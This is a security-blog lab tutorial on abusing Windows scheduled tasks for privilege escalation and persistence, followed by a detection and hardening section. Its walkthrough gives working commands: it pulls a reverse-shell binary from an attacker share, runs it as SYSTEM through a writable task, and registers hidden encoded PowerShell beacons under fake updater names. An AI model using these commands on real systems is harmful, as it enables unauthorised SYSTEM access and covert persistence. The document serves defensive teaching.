Abusing Scheduled Tasks for Windows Persistence and Privilege Escalation

Windows Privesc
Time it takes to read this article 5 minutes.

Introduction / Overview

Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively on systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

The Windows Task Scheduler is one of the oldest, most reliable, and most abused execution mechanisms on the platform. It runs code on a schedule or in response to events, it can run as NT AUTHORITY\SYSTEM, and it is rarely scrutinized by users. For an attacker, that makes it a near-perfect place to both hide and escalate.

In this article you'll learn how to enumerate scheduled tasks, how to abuse weak permissions on task XML definitions for privilege escalation, and how to use schtasks.exe and PowerShell cmdlets for stealthy persistence. We finish with a thorough Detection & Defense section so blue teams can hunt and harden against exactly these tricks. The technique maps to MITRE ATT&CK T1053.005 — Scheduled Task/Job: Scheduled Task.

How It Works / Background

The Task Scheduler service (Schedule) stores each task definition in two places that must stay in sync:

  • XML files under C:\Windows\System32\Tasks\ (one file per task, no file extension).
  • Registry entries under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\ — notably the Tree, Tasks, Boot, Logon, and Plain subkeys, which index tasks by GUID.

Each task XML contains a <Principal> element that defines which security context the task runs in — for example <UserId>S-1-5-18</UserId> (LocalSystem) plus <RunLevel>HighestAvailable</RunLevel>. The <Actions> element defines the command line that gets executed when a <Triggers> condition is met.

The escalation primitive is simple: if a low-privileged user can write to a task XML (or to the binary the action points at) that runs as SYSTEM, they control the command that the high-privileged context executes. When the trigger fires, the attacker's command runs with the task's privileges. It is a classic case of a privileged process trusting an unprivileged-writable resource.

Prerequisites / Lab Setup

  • A Windows 10/11 or Server 2019/2022 VM.
  • A low-privileged user shell (e.g., via a web shell or initial foothold).
  • Administrator access in the lab to create an intentionally misconfigured task for practice.

Create a deliberately vulnerable task as admin to practice against:

# (Admin) Create a SYSTEM task, then loosen ACLs on its XML definition
schtasks /Create /TN "VulnTask" /TR "C:\Windows\System32\cmd.exe /c whoami > C:\temp\out.txt" /SC DAILY /ST 09:00 /RU SYSTEM /F

# Grant Authenticated Users Modify access to the task definition (the misconfiguration)
icacls "C:\Windows\System32\Tasks\VulnTask" /grant "Authenticated Users:(M)"

Attack Walkthrough / PoC

Step 1 — Enumerate existing tasks

From a low-privileged context, list tasks and look for high-privilege principals:

# Native, verbose, machine-readable listing
schtasks /Query /FO LIST /V

# PowerShell: tasks not running as the current user are the interesting ones
Get-ScheduledTask | ForEach-Object {
    [pscustomobject]@{
        Name     = $_.TaskName
        Path     = $_.TaskPath
        RunAs    = $_.Principal.UserId
        RunLevel = $_.Principal.RunLevel
        State    = $_.State
    }
} | Where-Object { $_.RunAs -match 'SYSTEM|S-1-5-18|Administrator' } | Format-Table

Step 2 — Hunt for writable task XML and writable action binaries

Two distinct misconfigurations matter: (a) the task XML is writable, or (b) the binary referenced by the action is writable while the task runs as SYSTEM.

# (a) Check ACLs on task definition files for write/modify access by low-priv groups
Get-ChildItem -Recurse "C:\Windows\System32\Tasks" -File | ForEach-Object {
    $acl = Get-Acl $_.FullName
    $acl.Access | Where-Object {
        $_.IdentityReference -match 'Users|Everyone|Authenticated' -and
        $_.FileSystemRights -match 'Write|Modify|FullControl'
    } | ForEach-Object { "$($_.IdentityReference) -> $($_.FullName)" }
}

icacls is the quickest way to confirm a single target:

icacls "C:\Windows\System32\Tasks\VulnTask"
# Look for (M), (W), or (F) granted to BUILTIN\Users or Authenticated Users

For weak permissions on the action target binary, tools like winPEAS, PowerUp (Get-ModifiableScheduledTaskFile), and SharpUp automate the hunt. See my Windows Privilege Escalation Cheatsheet for the full enumeration flow.

Step 3 — Exploit the writable XML

If we can write the XML, we replace the action with our payload while preserving the SYSTEM <Principal>. Because the on-disk XML and the registry cache must agree, the cleanest approaches are to edit the <Command> in place (the scheduler re-reads the file on the next trigger) or to delete and re-register the task. The target edit:

<!-- C:\Windows\System32\Tasks\VulnTask (excerpt) -->
<Principal id="Author">
  <UserId>S-1-5-18</UserId>            <!-- keep SYSTEM -->
  <RunLevel>HighestAvailable</RunLevel>
</Principal>
<Actions Context="Author">
  <Exec>
    <Command>C:\temp\rev.exe</Command>  <!-- attacker payload -->
  </Exec>
</Actions>

Stage the payload and either wait for the trigger or force a run if our token has Run rights on the task:

# Drop the payload, then run the task on demand instead of waiting for 09:00
copy \\attacker\share\rev.exe C:\temp\rev.exe
schtasks /Run /TN "VulnTask"

When the task fires, rev.exe executes as NT AUTHORITY\SYSTEM. If only the action binary is writable (case b), simply overwrite that binary instead of touching the XML.

Step 4 — Persistence

Even without escalation, the Task Scheduler is excellent for persistence. The most common triggers are logon, boot, and idle. schtasks and the *-ScheduledTask cmdlets both register tasks:

# Persistence via schtasks: run a beacon at every user logon
schtasks /Create /TN "OneDriveSync" /SC ONLOGON /TR "powershell -w hidden -enc <BASE64>" /RL HIGHEST /F

# Persistence via cmdlets: trigger on system startup, run as SYSTEM
$action  = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-w hidden -File C:\ProgramData\u.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$prin    = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskCore" -Action $action -Trigger $trigger -Principal $prin

Operators frequently masquerade task names after legitimate ones (GoogleUpdateTaskMachine, OneDrive Standalone Update Task) to blend in. For lateral movement, schtasks /S <host> /U <user> /P <pass> creates tasks remotely over RPC, a popular alternative to PsExec covered in Lateral Movement with WMI and Scheduled Tasks.

Mermaid Diagram

Abusing Scheduled Tasks for Windows Persistence and Privilege Escalation diagram 1

Diagram: starting from a low-privileged foothold, the attacker enumerates tasks, finds one running as SYSTEM with a writable XML or action binary, modifies it, and triggers execution as SYSTEM.

Detection & Defense (Blue Team)

Detection and hardening deserve at least as much attention as the offense.

1. Audit and fix task ACLs. No standard user should have Write/Modify on anything under C:\Windows\System32\Tasks\ or on a binary referenced by a SYSTEM task. Periodically run:

Get-ChildItem -Recurse C:\Windows\System32\Tasks -File |
  Get-Acl |
  Where-Object { $_.AccessToString -match 'Users|Authenticated|Everyone' -and $_.AccessToString -match 'Write|Modify|FullControl' }

2. Enable and centralize the right event logs. The Task Scheduler operational log (Microsoft-Windows-TaskScheduler/Operational) records lifecycle events. Hunt these Event IDs:

  • 4698 (Security) — A scheduled task was created. This is the single highest-value detection. Alert on it, especially outside change windows.
  • 4699 / 4700 / 4702 — task deleted / enabled / updated.
  • TaskScheduler 106 — task registered; 140 — task updated; 200/201 — action executed/completed.

Also monitor Sysmon Event ID 1 for schtasks.exe and svchost.exe -k netsvcs -p -s Schedule spawning powershell.exe, cmd.exe, or unsigned binaries — and Sysmon Event ID 11 for file writes into C:\Windows\System32\Tasks\.

3. Hunt for masquerading and encoded payloads. Flag task action command lines containing -enc, -w hidden, FromBase64String, DownloadString, or paths in C:\ProgramData, \AppData\, or \Temp\. Compare task names against a golden baseline; legitimate Microsoft/Google updater tasks have stable, known definitions.

4. Restrict who can create tasks. Use the Schedule service hardening, AppLocker/WDAC to constrain what task actions may launch, and remove unnecessary local admin rights. PowerShell Script Block Logging (Event ID 4104) and Constrained Language Mode blunt encoded PowerShell payloads — see PowerShell Logging and AMSI Bypass.

5. Detect remote task creation. Network creation via schtasks /S shows up as 4698 with a remote logon session; correlate with 4624 Type 3 logons from unexpected hosts.

Conclusion

Scheduled tasks are powerful precisely because they bridge unprivileged users and privileged execution contexts. The two failure modes to remember are writable task XML and writable action binaries on SYSTEM tasks — either gives an attacker code execution as SYSTEM. As persistence, tasks survive reboots and blend into a noisy baseline. For defenders, the controls are well understood: lock down ACLs, alert on Event ID 4698, baseline task names, and constrain what actions may run. Treat any standard-user-writable artifact referenced by a privileged task as a critical finding.

References

Comments

Copied title and URL